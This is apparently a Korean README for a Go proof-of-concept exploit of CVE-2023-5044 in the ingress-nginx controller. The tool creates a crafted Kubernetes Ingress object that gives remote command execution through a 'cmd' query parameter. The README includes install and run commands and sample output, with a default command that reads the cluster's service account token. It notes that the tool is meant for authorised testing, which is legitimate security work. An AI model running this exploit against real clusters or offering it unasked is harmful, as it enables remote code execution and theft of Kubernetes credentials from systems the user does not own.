
Go 기반의 CVE-2023-5044 ingress-nginx PoC 익스플로잇으로, 조작된 Kubernetes Ingress 객체를 생성하여 인증된 원격 명령 실행을 가능하게 합니다.
이것은 Ingress Nginx 컨트롤러의 최근 CVE를 익스플로잇하는 빠른 Go 프로그램입니다.
이 방법에 대한 자세한 내용은 Rory McCune의 블로그(https://raesene.github.io/blog/2023/10/29/exploiting-CVE-2023-5044/)에서 이미 확인할 수 있으며, 이 도구는 프로세스를 약간 자동화하고 익스플로잇을 정리하여 더 유연하고 일반적인 원격 코드 실행 페이로드로 만듭니다.
% go install github.com/4armed/cve-2023-5044@latest
실행하려면 취약한 버전의 ingress-nginx를 실행하는 클러스터가 필요합니다. 테스트할 클러스터가 없다면 이 리포지토리를 클론하고 deploy 폴더에 있는 Makefile을 사용하여 Kind 클러스터를 생성할 수 있습니다.
% git clone github.com/4armed/cve-2023-5044
% cd cve-2023-5044/deploy && make up
kind.yaml 파일을 그대로 두면 포트 30080과 30443에서 localhost에 바인딩된 클러스터가 생성됩니다.
% cve-2023-5044 run -u http://localhost:30080
2024/01/17 14:10:48 INFO checking permissions
2024/01/17 14:10:48 INFO created ingress object namespace=default name=forearmed-poc-hm48l
2024/01/17 14:10:48 INFO exploit at http://localhost:30080/4armed?cmd=cat+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken"
"checking permissions" 줄은 도구가 Subject Access Review를 수행하여 인그레스를 생성할 권한이 있는지 확인하기 때문입니다. 권한이 없으면 해당 시점에서 종료됩니다. 기존 인그레스에 대한 편집 권한이 있다면 익스플로잇을 사용하여 침해를 달성할 수 있지만, 기존 인그레스를 업데이트하는 것은 복잡하여 무언가를 망가뜨리지 않고 자동화하기에는 너무 복잡합니다.
익스플로잇을 트리거하는 기본 경로는 /4armed이며, cmd 쿼리 문자열 매개변수의 값을 읽고 실행합니다.
기본 명령어 cat /var/run/secrets/kubernetes.io/serviceaccount/token을 포함한 예제 URL을 출력합니다. -e 플래그를 사용하여 변경하거나 cmd 매개변수에 다른 값을 제공하면 됩니다. 익스플로잇은 하드코딩되지 않았습니다. 새로운 인그레스를 배포할 필요가 없습니다.
% curl 'http://localhost:30080/4armed?cmd=id'
uid=101(www-data) gid=82(www-data)
인그레스 객체 이름은 GenerateName을 사용하여 무작위화되므로 출력에 주의하고 사용 후 정리하세요.
% kubectl delete ingress forearmed-poc-hm48l
ingress.networking.k8s.io "forearmed-poc-hm48l" deleted
인그레스 객체만 생성하려면 다음을 사용하세요:
% cve-2023-5044 generate
이것은 귀하가 권한을 보유한 클러스터에 대해서만 테스트 목적으로 사용됩니다. 권한 유무에 관계없이 클러스터에 대해 사용할 경우, 발생하는 모든 손해나 문제에 대해 저자는 책임을 지지 않습니다. 기존 경로와 충돌하지 않는 경로 값을 선택하는 데 세심한 주의를 기울였으며, 필요에 따라 플래그로 재정의하거나 코드를 변경할 수 있지만 여전히 문제가 발생할 수 있습니다. 자신이 무엇을 하고 있는지 반드시 확인하십시오.